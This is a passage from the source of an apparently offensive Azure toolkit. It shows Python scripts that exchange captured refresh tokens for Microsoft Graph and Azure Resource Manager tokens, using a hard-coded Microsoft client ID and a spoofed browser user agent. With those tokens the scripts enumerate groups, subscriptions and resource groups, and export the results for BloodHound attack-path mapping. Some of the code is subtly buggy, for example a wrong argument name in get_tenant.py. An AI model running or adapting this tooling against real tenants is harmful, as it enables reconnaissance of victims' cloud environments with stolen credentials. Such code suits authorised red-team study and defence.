'Is_Group_Team_Read-Only', Not Implemented 83 | 'isAssignableToRole': 'Can_Group_Be_Assigned_To_Role', 84 | #'isSubscribedByMail': 'Is_Authenticated_User_Email_Subscribed_To_Group', Not Implemented 85 | 'licenseProcessingState': 'Group_Member_License_Assignment_Status', 86 | 'mail': 'Group_Email_Address', 87 | 'mailEnabled': 'Group_Email_Enabled', 88 | 'mailNickname': 'Group_Email_Alias', 89 | 'membershipRule': 'Dynamic_Group_Membership_Rule', 90 | 'membershipRuleProcessingState': 'Dynamic_Membership', 91 | 'onPremisesLastSyncDateTime': 'Last_Time_Synced_On-Prem', 92 | 'onPremisesProvisioningErrors': 'On-Prem_Synchronization_Errors', 93 | 'onPremisesSamAccountName': 'On-Prem_SAM_Account_Name', 94 | 'onPremisesSecurityIdentifier': 'On-Prem_Security_Identifier', 95 | 'onPremisesSyncEnabled': 'Is_Group_Synced_On-Prem', 96 | 'preferredDataLocation': 'M365_Preferred_Data_Location', 97 | 'preferredLanguage': 'M365_Preferred_Language', 98 | 'proxyAddress': 'Group_Proxy_Email_Addresses', 99 | 'renewedDateTime': 'Group_Last_Renewed', 100 | 'resourceBehaviorOptions': 'M365_Group_Behaviors', 101 | # AllowOnlyMembersToPost | HideGroupInOutlook | SubscribeNewGroupMembers 102 | # | WelcomeEmailDisabled 103 | 'resourceProvisioningOptions': 'M365_Provisioned_Group_Resources', 104 | 'securityEnabled': 'Security_Group', 105 | 'securityIdentifier': 'Windows_Group_Security_Identifier', 106 | 'theme': 'M365_Group_Color_Theme', 107 | #'unseenCount': 'Unread_Conversations_Count', Not Implemented 108 | # Count of conversations that have received new posts since authenticated users last visit 109 | 'visibility': 'Group_Join_Policy/Group_Content_Visibility' 110 | # Private | Public | Hiddenmembership 111 | } 112 | 113 | SELECT_PARAMS = [] 114 | for param_key in SELECT_PARAMS_DICT: 115 | SELECT_PARAMS.append(param_key) 116 | 117 | SELECT_PARAMS_STRING = str(SELECT_PARAMS)[1:][:-1].replace('\'','').replace(' ', '') 118 | 119 | ENDPOINT = ENDPOINT_BASE + SELECT_PARAMS_STRING 120 | 121 | def transpose_group(group): 122 | """Takes in group result from Graph and morphs into something we want""" 123 | return_group = {} 124 | for prop, readable in SELECT_PARAMS_DICT.items(): 125 | try: 126 | if isinstance(group[prop], list) and len(group[prop]) == 0: 127 | return_group[readable] = 'None' 128 | else: 129 | return_group[readable] = str(group[prop]) 130 | except KeyError: 131 | pass 132 | 133 | return return_group 134 | 135 | def main(): 136 | """Runner method""" 137 | arg_parser = argparse.ArgumentParser( 138 | prog='get_groups.py', 139 | usage=SUCCESS + '%(prog)s' + RESET + \ 140 | ' [-t|--graph_token ]' + \ 141 | ' [-r|--refresh_token ]', 142 | description=DESCRIPTION, 143 | formatter_class=argparse.RawDescriptionHelpFormatter) 144 | arg_parser.add_argument( 145 | '-t', 146 | '--graph_token', 147 | metavar='', 148 | dest='graph_token', 149 | type=str, 150 | help='The ms_graph token you would like to use', 151 | required=False) 152 | arg_parser.add_argument( 153 | '-r', 154 | '--refresh_token', 155 | metavar='', 156 | dest='refresh_token', 157 | type=str, 158 | help='The refresh token you would like to use', 159 | required=False) 160 | arg_parser.add_argument('-R', 161 | '--refresh_token_file', 162 | metavar='', 163 | dest='refresh_token_file', 164 | type=str, 165 | help='A JSON file saved from token_juggle.py ' \ 166 | 'containing the refresh token you would like to use.', 167 | required=False) 168 | arg_parser.add_argument('-o', 169 | '--outfile_path', 170 | metavar='', 171 | dest='outfile_path', 172 | type=str, 173 | help='The path of where you want '\ 174 | 'the group data saved.'\ 175 | '\nIf not supplied, module defaults to '\ 176 | 'the current directory.', 177 | required=False) 178 | 179 | args = arg_parser.parse_args() 180 | 181 | # Handle outfile path 182 | outfile_path_base = args.outfile_path 183 | if outfile_path_base is None: 184 | outfile_path_base = time.strftime('%Y-%m-%d_%H-%M-%S_') 185 | elif outfile_path_base[-1] != '/': 186 | outfile_path_base = outfile_path_base + '/' + time.strftime('%Y-%m-%d_%H-%M-%S_') 187 | outfile_raw_json = outfile_path_base + 'groups_raw.json' 188 | outfile_condensed = outfile_path_base + 'groups_condensed.json' 189 | outfile_bloodhound = outfile_path_base + 'groups_bloodhound.json' 190 | 191 | # Check to see if any graph or refresh token is given in the arguments 192 | # If both are given, will use graph token 193 | # If no token given, will check for a refresh token file 194 | # If no arguments are given, will look in the REFRESH_TOKEN environment variable 195 | if args.refresh_token is None and args.graph_token is None and \ 196 | args.refresh_token_file is None: 197 | try: 198 | refresh_token = os.environ['REFRESH_TOKEN'] 199 | except KeyError: 200 | print(DANGER, '\n\tNo refresh token found.\n', RESET) 201 | arg_parser.print_help() 202 | sys.exit() 203 | elif args.refresh_token is None and args.graph_token is None: 204 | path = args.refresh_token_file 205 | try: 206 | with open(path, encoding='UTF-8') as json_file: 207 | json_file_data = json.load(json_file) 208 | json_file.close() 209 | except OSError as error: 210 | print(str(error)) 211 | sys.exit() 212 | refresh_token = json_file_data['refresh_token'] 213 | elif args.graph_token is not None: 214 | graph_token = args.graph_token 215 | else: 216 | refresh_token = args.refresh_token 217 | 218 | # If we have a refresh token, use it to request the necessary graph access token 219 | if refresh_token is not None: 220 | # Setting up our post request 221 | headers = { 222 | 'User-Agent': USER_AGENT 223 | } 224 | # body of our request 225 | data = { 226 | 'client_id': CLIENT_ID, 227 | 'resource': 'https://graph.microsoft.com', 228 | 'grant_type': 'refresh_token', 229 | 'refresh_token': refresh_token, 230 | 'scope': 'openid', 231 | } 232 | 233 | # Sending the request 234 | json_data = {} 235 | try: 236 | response = requests.post(URI, data=data, headers=headers) 237 | json_data = response.json() 238 | response.raise_for_status() 239 | except requests.exceptions.HTTPError: 240 | print(DANGER) 241 | print(json_data['error']) 242 | print(json_data['error_description']) 243 | print(RESET) 244 | sys.exit() 245 | graph_token = json_data['access_token'] 246 | 247 | # Getting our first (only?) page of group results 248 | headers = { 249 | 'Authorization': 'Bearer ' + graph_token 250 | } 251 | 252 | response = requests.get(ENDPOINT, headers=headers).json() 253 | raw_json_data = {'value': []} 254 | groups_result = {} 255 | try: 256 | response_groups = response['value'] 257 | except KeyError: 258 | print(f'{DANGER}Error retrieving users{RESET}') 259 | sys.exit() 260 | for group in response_groups: 261 | raw_json_data['value'].append(group) 262 | groups_result[group['id']] = transpose_group(group) 263 | 264 | try: 265 | next_link = response['@odata.nextLink'] 266 | except KeyError: 267 | next_link = None 268 | 269 | # If next_link is not None, then the results are paged 270 | # We iterate through the paged results to build out our full group list 271 | while next_link is not None: 272 | response = requests.get(next_link, headers=headers).json() 273 | response_groups = response['value'] 274 | for group in response_groups: 275 | raw_json_data['value'].append(group) 276 | groups_result[group['id']] = transpose_group(group) 277 | try: 278 | next_link = response['@odata.nextLink'] 279 | except KeyError: 280 | next_link = None 281 | 282 | # Go through our raw json response data and build out a more readable group collection 283 | condensed_json_data = {'groups': {}} 284 | for object_id, values in groups_result.items(): 285 | condensed_json_data['groups'][object_id] = {} 286 | for key, value in values.items(): 287 | if value != 'None': 288 | condensed_json_data['groups'][object_id][key] = value 289 | print(f'{SUCCESS}{key}{RESET}:\t{value}'.expandtabs(56)) 290 | print() 291 | 292 | # Save raw json to file 293 | print(f'{SUCCESS}[+]{RESET} Writing raw response data to {WARNING}{outfile_raw_json}{RESET}') 294 | with open(outfile_raw_json, 'w+', encoding='UTF-8') as raw_json_out: 295 | json.dump(raw_json_data, raw_json_out, indent = 4) 296 | 297 | # save condensed output to file 298 | print(f'{SUCCESS}[+]{RESET} Writing condensed response ' + \ 299 | f'data to {WARNING}{outfile_condensed}{RESET}') 300 | with open(outfile_condensed, 'w+', encoding='UTF-8') as condensed_json_out: 301 | json.dump(condensed_json_data, condensed_json_out, indent = 4) 302 | 303 | # save bloodhound-users.json 304 | print(f'{SUCCESS}[+]{RESET} Writing bloodhound data to {WARNING}{outfile_bloodhound}{RESET}') 305 | group_count = len(raw_json_data['value']) 306 | parts = graph_token.split('.') 307 | payload = parts[1] 308 | payload_string = base64.b64decode(payload + '==') 309 | payload_json = json.loads(payload_string) 310 | token_tenant_id = payload_json['tid'] 311 | bloodhound_json_data = { 312 | 'meta': { 313 | 'count': group_count, 314 | 'type': 'azgroups', 315 | 'version': 4 316 | }, 317 | 'data': [] 318 | } 319 | for group in raw_json_data['value']: 320 | bloodhound_json_data['data'].append({ 321 | 'DisplayName': group['displayName'], 322 | 'OnPremisesSecurityIdentifier': group['onPremisesSecurityIdentifier'], 323 | 'ObjectID': group['id'], 324 | 'TenantID': token_tenant_id 325 | }) 326 | with open(outfile_bloodhound, 'w+', encoding='UTF-8') as bloodhound_json_out: 327 | json.dump(bloodhound_json_data, bloodhound_json_out, indent = 4) 328 | 329 | if __name__ == '__main__': 330 | main() 331 | sys.exit() 332 | -------------------------------------------------------------------------------- /offensive_azure/Azure_AD/get_resource_groups.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | ''' 4 | Copyright (C) 2022 Cody Martin BLSOPS LLC 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | ''' 19 | 20 | import os 21 | import sys 22 | import time 23 | import json 24 | import argparse 25 | import colorama 26 | import requests 27 | 28 | DESCRIPTION = ''' 29 | ========================================================== 30 | # # 31 | # Uses Azure Resource Management API to pull a full # 32 | # list of resource groups. # 33 | # # 34 | # If no ARM token or refresh_token is supplied, # 35 | # module will look in the REFRESH_TOKEN environment # 36 | # variable and request the ARM token # 37 | # # 38 | # Outputs a raw json output file, and a json file # 39 | # compatible with BloodHound # 40 | # # 41 | ========================================================== 42 | ''' 43 | 44 | # Set up our colors 45 | colorama.init() 46 | SUCCESS = colorama.Fore.GREEN 47 | DANGER = colorama.Fore.RED 48 | WARNING = colorama.Fore.YELLOW 49 | RESET = colorama.Style.RESET_ALL 50 | VALID = colorama.Fore.CYAN 51 | 52 | # For use querying graph api for users and group membership 53 | ENDPOINT_BASE = 'https://management.azure.com/subscriptions/' 54 | ENDPOINT_RSGS = '/resourcegroups?api-version=2021-04-01' 55 | ENDPOINT_SUBS = 'https://management.azure.com/subscriptions?api-version=2020-01-01' 56 | 57 | # For use when requesting new access tokens with refresh token 58 | URI = 'https://login.microsoftonline.com/Common/oauth2/token' 59 | CLIENT_ID = 'd3590ed6-52b3-4102-aeff-aad2292ab01c' 60 | 61 | # User agent to use with requests 62 | USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0' 63 | 64 | def main(): 65 | """Runner method""" 66 | arg_parser = argparse.ArgumentParser( 67 | prog='get_resource_groups.py', 68 | usage=SUCCESS + '%(prog)s' + RESET + \ 69 | ' [-t|--arm_token ]' + \ 70 | ' [-r|--refresh_token ]', 71 | description=DESCRIPTION, 72 | formatter_class=argparse.RawDescriptionHelpFormatter) 73 | arg_parser.add_argument( 74 | '-t', 75 | '--arm_token', 76 | metavar='', 77 | dest='arm_token', 78 | type=str, 79 | help='The ARM token you would like to use', 80 | required=False) 81 | arg_parser.add_argument( 82 | '-r', 83 | '--refresh_token', 84 | metavar='', 85 | dest='refresh_token', 86 | type=str, 87 | help='The refresh token you would like to use', 88 | required=False) 89 | arg_parser.add_argument('-R', 90 | '--refresh_token_file', 91 | metavar='', 92 | dest='refresh_token_file', 93 | type=str, 94 | help='A JSON file saved from token_juggle.py ' \ 95 | 'containing the refresh token you would like to use.', 96 | required=False) 97 | arg_parser.add_argument('-o', 98 | '--outfile_path', 99 | metavar='', 100 | dest='outfile_path', 101 | type=str, 102 | help='The path of where you want '\ 103 | 'the resource group data saved.'\ 104 | '\nIf not supplied, module defaults to '\ 105 | 'the current directory.', 106 | required=False) 107 | 108 | args = arg_parser.parse_args() 109 | 110 | # Handle outfile path 111 | outfile_path_base = args.outfile_path 112 | if outfile_path_base is None: 113 | outfile_path_base = time.strftime('%Y-%m-%d_%H-%M-%S_') 114 | elif outfile_path_base[-1] != '/': 115 | outfile_path_base = outfile_path_base + '/' + time.strftime('%Y-%m-%d_%H-%M-%S_') 116 | outfile_raw_json = outfile_path_base + 'resource_groups_raw.json' 117 | outfile_bloodhound = outfile_path_base + 'resource_groups_bloodhound.json' 118 | 119 | # Check to see if any graph or refresh token is given in the arguments 120 | # If both are given, will use graph token 121 | # If no token given, will check for a refresh token file 122 | # If no arguments are given, will look in the REFRESH_TOKEN environment variable 123 | if args.refresh_token is None and args.arm_token is None and \ 124 | args.refresh_token_file is None: 125 | try: 126 | refresh_token = os.environ['REFRESH_TOKEN'] 127 | except KeyError: 128 | print(DANGER, '\n\tNo refresh token found.\n', RESET) 129 | arg_parser.print_help() 130 | sys.exit() 131 | elif args.refresh_token is None and args.arm_token is None: 132 | path = args.refresh_token_file 133 | try: 134 | with open(path, encoding='UTF-8') as json_file: 135 | json_file_data = json.load(json_file) 136 | json_file.close() 137 | except OSError as error: 138 | print(str(error)) 139 | sys.exit() 140 | refresh_token = json_file_data['refresh_token'] 141 | elif args.arm_token is not None: 142 | arm_token = args.arm_token 143 | else: 144 | refresh_token = args.refresh_token 145 | 146 | # If we have a refresh token, use it to request the necessary graph access token 147 | if refresh_token is not None: 148 | # Setting up our post request 149 | headers = { 150 | 'User-Agent': USER_AGENT 151 | } 152 | # body of our request 153 | data = { 154 | 'client_id': CLIENT_ID, 155 | 'resource': 'https://management.azure.com', 156 | 'grant_type': 'refresh_token', 157 | 'refresh_token': refresh_token, 158 | 'scope': 'openid', 159 | } 160 | 161 | # Sending the request 162 | json_data = {} 163 | try: 164 | response = requests.post(URI, data=data, headers=headers) 165 | json_data = response.json() 166 | response.raise_for_status() 167 | except requests.exceptions.HTTPError: 168 | print(DANGER) 169 | print(json_data['error']) 170 | print(json_data['error_description']) 171 | print(RESET) 172 | sys.exit() 173 | arm_token = json_data['access_token'] 174 | 175 | # Grabbing available subscriptions 176 | headers = { 177 | 'Authorization': 'Bearer ' + arm_token 178 | } 179 | subs_response = requests.get(ENDPOINT_SUBS, headers=headers).json() 180 | raw_json_data_subs = { 181 | 'value': subs_response['value'] 182 | } 183 | try: 184 | next_link = subs_response['nextLink'] 185 | except KeyError: 186 | next_link = None 187 | while next_link: 188 | subs_response = requests.get(next_link, headers=headers).json() 189 | for sub in subs_response['value']: 190 | raw_json_data_subs['value'].append(sub) 191 | try: 192 | next_link = subs_response['nextLink'] 193 | except KeyError: 194 | next_link = None 195 | 196 | # We have our subs, now we need to grab the resource groups within each 197 | raw_json_data_rsg = {'value': []} 198 | for sub in raw_json_data_subs['value']: 199 | sub_id = sub['subscriptionId'] 200 | resource_group_response = requests.get(ENDPOINT_BASE + sub_id + ENDPOINT_RSGS, 201 | headers=headers).json() 202 | for rsg in resource_group_response['value']: 203 | raw_json_data_rsg['value'].append(rsg) 204 | try: 205 | next_link = resource_group_response['nextLink'] 206 | except KeyError: 207 | next_link = None 208 | while next_link: 209 | resource_group_response = requests.get(next_link, headers=headers).json() 210 | for rsg in resource_group_response['value']: 211 | raw_json_data_rsg['value'].append(rsg) 212 | try: 213 | next_link = resource_group_response['nextLink'] 214 | except KeyError: 215 | next_link = None 216 | 217 | # We should have our complete list of resource groups now 218 | count = len(raw_json_data_rsg['value']) 219 | 220 | # Process raw data 221 | bloodhound_json_data = { 222 | 'meta': { 223 | 'count': count, 224 | 'type': 'azresourcegroups', 225 | 'version': 4 226 | }, 227 | 'data': [] 228 | } 229 | for rsg in raw_json_data_rsg['value']: 230 | sub_id = rsg['id'].split('/')[2] 231 | bloodhound_json_data['data'].append({ 232 | 'ResourceGroupName': rsg['name'], 233 | 'SubscriptionID': sub_id, 234 | 'ResourceGroupID': rsg['id'] 235 | }) 236 | for prop, val in rsg.items(): 237 | if val is not None: 238 | print(f'{SUCCESS}{prop}{RESET}:\t{str(val)}'.expandtabs(32)) 239 | print() 240 | 241 | # Writing out raw data 242 | print(f'{SUCCESS}[+]{RESET} Writing raw data to {outfile_raw_json}') 243 | with open(outfile_raw_json, 'w+', encoding='UTF-8') as raw_out: 244 | json.dump(raw_json_data_rsg, raw_out, indent=4) 245 | 246 | # Writing out bloodhound data 247 | print(f'{SUCCESS}[+]{RESET} Writing bloodhound data to {outfile_bloodhound}') 248 | with open(outfile_bloodhound, 'w+', encoding='UTF-8') as bloodhound_out: 249 | json.dump(bloodhound_json_data, bloodhound_out, indent=4) 250 | 251 | if __name__ == '__main__': 252 | main() 253 | sys.exit() 254 | -------------------------------------------------------------------------------- /offensive_azure/Azure_AD/get_subscriptions.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | ''' 4 | Copyright (C) 2022 Cody Martin BLSOPS LLC 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | ''' 19 | 20 | import os 21 | import sys 22 | import time 23 | import json 24 | import argparse 25 | import colorama 26 | import requests 27 | 28 | DESCRIPTION = ''' 29 | ========================================================== 30 | # # 31 | # Uses Azure Resource Management API to pull a full # 32 | # list of subscriptions. # 33 | # # 34 | # If no ARM token or refresh_token is supplied, # 35 | # module will look in the REFRESH_TOKEN environment # 36 | # variable and request the ARM token # 37 | # # 38 | # Outputs condensed results in a text file, a raw json # 39 | # output file, and a json file compatible with # 40 | # BloodHound # 41 | # # 42 | ========================================================== 43 | ''' 44 | 45 | # Set up our colors 46 | colorama.init() 47 | SUCCESS = colorama.Fore.GREEN 48 | DANGER = colorama.Fore.RED 49 | WARNING = colorama.Fore.YELLOW 50 | RESET = colorama.Style.RESET_ALL 51 | VALID = colorama.Fore.CYAN 52 | 53 | # For use querying graph api for users and group membership 54 | ENDPOINT = 'https://management.azure.com/subscriptions?api-version=2020-01-01' 55 | 56 | # For use when requesting new access tokens with refresh token 57 | URI = 'https://login.microsoftonline.com/Common/oauth2/token' 58 | CLIENT_ID = 'd3590ed6-52b3-4102-aeff-aad2292ab01c' 59 | 60 | # User agent to use with requests 61 | USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0' 62 | 63 | def main(): 64 | """Runner method""" 65 | arg_parser = argparse.ArgumentParser( 66 | prog='get_subscriptions.py', 67 | usage=SUCCESS + '%(prog)s' + RESET + \ 68 | ' [-t|--arm_token ]' + \ 69 | ' [-r|--refresh_token ]', 70 | description=DESCRIPTION, 71 | formatter_class=argparse.RawDescriptionHelpFormatter) 72 | arg_parser.add_argument( 73 | '-t', 74 | '--arm_token', 75 | metavar='', 76 | dest='arm_token', 77 | type=str, 78 | help='The ARM token you would like to use', 79 | required=False) 80 | arg_parser.add_argument( 81 | '-r', 82 | '--refresh_token', 83 | metavar='', 84 | dest='refresh_token', 85 | type=str, 86 | help='The refresh token you would like to use', 87 | required=False) 88 | arg_parser.add_argument('-R', 89 | '--refresh_token_file', 90 | metavar='', 91 | dest='refresh_token_file', 92 | type=str, 93 | help='A JSON file saved from token_juggle.py ' \ 94 | 'containing the refresh token you would like to use.', 95 | required=False) 96 | arg_parser.add_argument('-o', 97 | '--outfile_path', 98 | metavar='', 99 | dest='outfile_path', 100 | type=str, 101 | help='The path of where you want '\ 102 | 'the subscription data saved.'\ 103 | '\nIf not supplied, module defaults to '\ 104 | 'the current directory.', 105 | required=False) 106 | 107 | args = arg_parser.parse_args() 108 | 109 | # Handle outfile path 110 | outfile_path_base = args.outfile_path 111 | if outfile_path_base is None: 112 | outfile_path_base = time.strftime('%Y-%m-%d_%H-%M-%S_') 113 | elif outfile_path_base[-1] != '/': 114 | outfile_path_base = outfile_path_base + '/' + time.strftime('%Y-%m-%d_%H-%M-%S_') 115 | outfile_raw_json = outfile_path_base + 'subscriptions_raw.json' 116 | outfile_condensed = outfile_path_base + 'subscriptions_condensed.json' 117 | outfile_bloodhound = outfile_path_base + 'subscriptions_bloodhound.json' 118 | 119 | # Check to see if any graph or refresh token is given in the arguments 120 | # If both are given, will use graph token 121 | # If no token given, will check for a refresh token file 122 | # If no arguments are given, will look in the REFRESH_TOKEN environment variable 123 | if args.refresh_token is None and args.arm_token is None and \ 124 | args.refresh_token_file is None: 125 | try: 126 | refresh_token = os.environ['REFRESH_TOKEN'] 127 | except KeyError: 128 | print(DANGER, '\n\tNo refresh token found.\n', RESET) 129 | arg_parser.print_help() 130 | sys.exit() 131 | elif args.refresh_token is None and args.arm_token is None: 132 | path = args.refresh_token_file 133 | try: 134 | with open(path, encoding='UTF-8') as json_file: 135 | json_file_data = json.load(json_file) 136 | json_file.close() 137 | except OSError as error: 138 | print(str(error)) 139 | sys.exit() 140 | refresh_token = json_file_data['refresh_token'] 141 | elif args.arm_token is not None: 142 | arm_token = args.arm_token 143 | else: 144 | refresh_token = args.refresh_token 145 | 146 | # If we have a refresh token, use it to request the necessary graph access token 147 | if refresh_token is not None: 148 | # Setting up our post request 149 | headers = { 150 | 'User-Agent': USER_AGENT 151 | } 152 | # body of our request 153 | data = { 154 | 'client_id': CLIENT_ID, 155 | 'resource': 'https://management.azure.com', 156 | 'grant_type': 'refresh_token', 157 | 'refresh_token': refresh_token, 158 | 'scope': 'openid', 159 | } 160 | 161 | # Sending the request 162 | json_data = {} 163 | try: 164 | response = requests.post(URI, data=data, headers=headers) 165 | json_data = response.json() 166 | response.raise_for_status() 167 | except requests.exceptions.HTTPError: 168 | print(DANGER) 169 | print(json_data['error']) 170 | print(json_data['error_description']) 171 | print(RESET) 172 | sys.exit() 173 | arm_token = json_data['access_token'] 174 | 175 | # Collect all available subscriptions 176 | headers = { 177 | 'Authorization': 'Bearer ' + arm_token 178 | } 179 | subs_response = requests.get(ENDPOINT, headers=headers).json() 180 | raw_json_data = { 181 | 'value': subs_response['value'] 182 | } 183 | try: 184 | next_link = subs_response['nextLink'] 185 | except KeyError: 186 | next_link = None 187 | while next_link: 188 | subs_response = requests.get(next_link, headers=headers).json() 189 | for sub in subs_response['value']: 190 | raw_json_data['value'].append(sub) 191 | try: 192 | next_link = subs_response['nextLink'] 193 | except KeyError: 194 | next_link = None 195 | 196 | # Process raw data 197 | condensed_json_data = {'value': []} 198 | bloodhound_json_data = { 199 | 'meta': { 200 | 'count': subs_response['count']['value'], 201 | 'type': 'azsubscriptions', 202 | 'version': 4 203 | }, 204 | 'data': [] 205 | } 206 | for sub in raw_json_data['value']: 207 | sub_builder = { 208 | 'id': sub['id'], 209 | 'displayName': sub['displayName'], 210 | 'tenantId': sub['tenantId'] 211 | } 212 | bloodhound_json_data['data'].append({ 213 | 'Name': sub['displayName'], 214 | 'SubscriptionId': sub['subscriptionId'], 215 | 'TenantId': sub['tenantId'] 216 | }) 217 | print(f'{SUCCESS}Tenant ID{RESET}:\t{sub["tenantId"]}'.expandtabs(32)) 218 | print(f'{SUCCESS}Subscription Name{RESET}:\t{sub["displayName"]}'.expandtabs(32)) 219 | print(f'{SUCCESS}Subscription ID{RESET}:\t{sub["id"]}'.expandtabs(32)) 220 | for prop, val in sub.items(): 221 | if val is not None and prop not in ['id', 'displayName', 'tenantId'] and \ 222 | len(val) != 0: 223 | sub_builder[prop] = val 224 | print(f'{SUCCESS}{prop}{RESET}:\t{str(val)}'.expandtabs(32)) 225 | condensed_json_data['value'].append(sub_builder) 226 | print() 227 | 228 | # Writing out raw data 229 | print(f'{SUCCESS}[+]{RESET} Writing raw data to {outfile_raw_json}') 230 | with open(outfile_raw_json, 'w+', encoding='UTF-8') as raw_out: 231 | json.dump(raw_json_data, raw_out, indent=4) 232 | 233 | # Writing out condensed data 234 | print(f'{SUCCESS}[+]{RESET} Writing condensed data to {outfile_condensed}') 235 | with open(outfile_condensed, 'w+', encoding='UTF-8') as condensed_out: 236 | json.dump(condensed_json_data, condensed_out, indent=4) 237 | 238 | # Writing out bloodhound data 239 | print(f'{SUCCESS}[+]{RESET} Writing bloodhound data to {outfile_bloodhound}') 240 | with open(outfile_bloodhound, 'w+', encoding='UTF-8') as bloodhound_out: 241 | json.dump(bloodhound_json_data, bloodhound_out, indent=4) 242 | 243 | if __name__ == '__main__': 244 | main() 245 | sys.exit() 246 | -------------------------------------------------------------------------------- /offensive_azure/Azure_AD/get_tenant.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | ''' 4 | Copyright (C) 2022 Cody Martin BLSOPS LLC 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | ''' 19 | 20 | import os 21 | import sys 22 | import time 23 | import base64 24 | import json 25 | import argparse 26 | import colorama 27 | import requests 28 | 29 | DESCRIPTION = ''' 30 | ========================================================== 31 | # # 32 | # If no access token or refresh_token is supplied, # 33 | # module will look in the REFRESH_TOKEN environment # 34 | # variable and request an access token # 35 | # # 36 | # Outputs results in a text file, and a json file # 37 | # compatible with BloodHound # 38 | # # 39 | ========================================================== 40 | ''' 41 | 42 | # Set up our colors 43 | colorama.init() 44 | SUCCESS = colorama.Fore.GREEN 45 | DANGER = colorama.Fore.RED 46 | WARNING = colorama.Fore.YELLOW 47 | RESET = colorama.Style.RESET_ALL 48 | VALID = colorama.Fore.CYAN 49 | 50 | # For use when requesting new access tokens with refresh token 51 | URI = 'https://login.microsoftonline.com/Common/oauth2/token' 52 | CLIENT_ID = 'd3590ed6-52b3-4102-aeff-aad2292ab01c' 53 | 54 | # User agent to use with requests 55 | USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0' 56 | 57 | def main(): 58 | 59 | """Runner method""" 60 | arg_parser = argparse.ArgumentParser( 61 | prog='get_tenant.py', 62 | usage=SUCCESS + '%(prog)s' + RESET + \ 63 | ' [-t|--access_token ]' + \ 64 | ' [-r|--refresh_token ]', 65 | description=DESCRIPTION, 66 | formatter_class=argparse.RawDescriptionHelpFormatter) 67 | arg_parser.add_argument( 68 | '-t', 69 | '--access_token', 70 | metavar='', 71 | dest='access_token', 72 | type=str, 73 | help='The access token you would like to use', 74 | required=False) 75 | arg_parser.add_argument( 76 | '-r', 77 | '--refresh_token', 78 | metavar='', 79 | dest='refresh_token', 80 | type=str, 81 | help='The refresh token you would like to use', 82 | required=False) 83 | arg_parser.add_argument('-R', 84 | '--refresh_token_file', 85 | metavar='', 86 | dest='refresh_token_file', 87 | type=str, 88 | help='A JSON file saved from token_juggle.py ' \ 89 | 'containing the refresh token you would like to use.', 90 | required=False) 91 | arg_parser.add_argument('-o', 92 | '--outfile_path', 93 | metavar='', 94 | dest='outfile_path', 95 | type=str, 96 | help='The path of where you want '\ 97 | 'the tenant data saved.'\ 98 | '\nIf not supplied, module defaults to '\ 99 | 'the current directory.', 100 | required=False) 101 | 102 | 103 | args = arg_parser.parse_args() 104 | 105 | # Handle outfile path 106 | outfile_path_base = args.outfile_path 107 | if outfile_path_base is None: 108 | outfile_path_base = time.strftime('%Y-%m-%d_%H-%M-%S_') 109 | elif outfile_path_base[-1] != '/': 110 | outfile_path_base = outfile_path_base + '/' + time.strftime('%Y-%m-%d_%H-%M-%S_') 111 | outfile_text = outfile_path_base + 'tenant.txt' 112 | outfile_bloodhound = outfile_path_base + 'tenant_bloodhound.json' 113 | 114 | # Check to see if any graph or refresh token is given in the arguments 115 | # If both are given, will use graph token 116 | # If no token given, will check for a refresh token file 117 | # If no arguments are given, will look in the REFRESH_TOKEN environment variable 118 | if args.refresh_token is None and args.access_token is None and \ 119 | args.refresh_token_file is None: 120 | try: 121 | refresh_token = os.environ['REFRESH_TOKEN'] 122 | except KeyError: 123 | print(DANGER, '\n\tNo refresh token found.\n', RESET) 124 | arg_parser.print_help() 125 | sys.exit() 126 | elif args.refresh_token is None and args.access_token is None: 127 | path = args.refresh_token_file 128 | try: 129 | with open(path, encoding='UTF-8') as json_file: 130 | json_file_data = json.load(json_file) 131 | json_file.close() 132 | except OSError as error: 133 | print(str(error)) 134 | sys.exit() 135 | refresh_token = json_file_data['refresh_token'] 136 | elif args.access_token is not None: 137 | access_token = args.graph_token 138 | else: 139 | refresh_token = args.refresh_token 140 | 141 | # If we have a refresh token, use it to request the necessary graph access token 142 | if refresh_token is not None: 143 | # Setting up our post request 144 | headers = { 145 | 'User-Agent': USER_AGENT 146 | } 147 | # body of our request 148 | data = { 149 | 'client_id': CLIENT_ID, 150 | 'resource': 'https://graph.microsoft.com', 151 | 'grant_type': 'refresh_token', 152 | 'refresh_token': refresh_token, 153 | 'scope': 'openid', 154 | } 155 | 156 | # Sending the request 157 | json_data = {} 158 | try: 159 | response = requests.post(URI, data=data, headers=headers) 160 | json_data = response.json() 161 | response.raise_for_status() 162 | except requests.exceptions.HTTPError: 163 | print(DANGER) 164 | print(json_data['error']) 165 | print(json_data['error_description']) 166 | print(RESET) 167 | sys.exit() 168 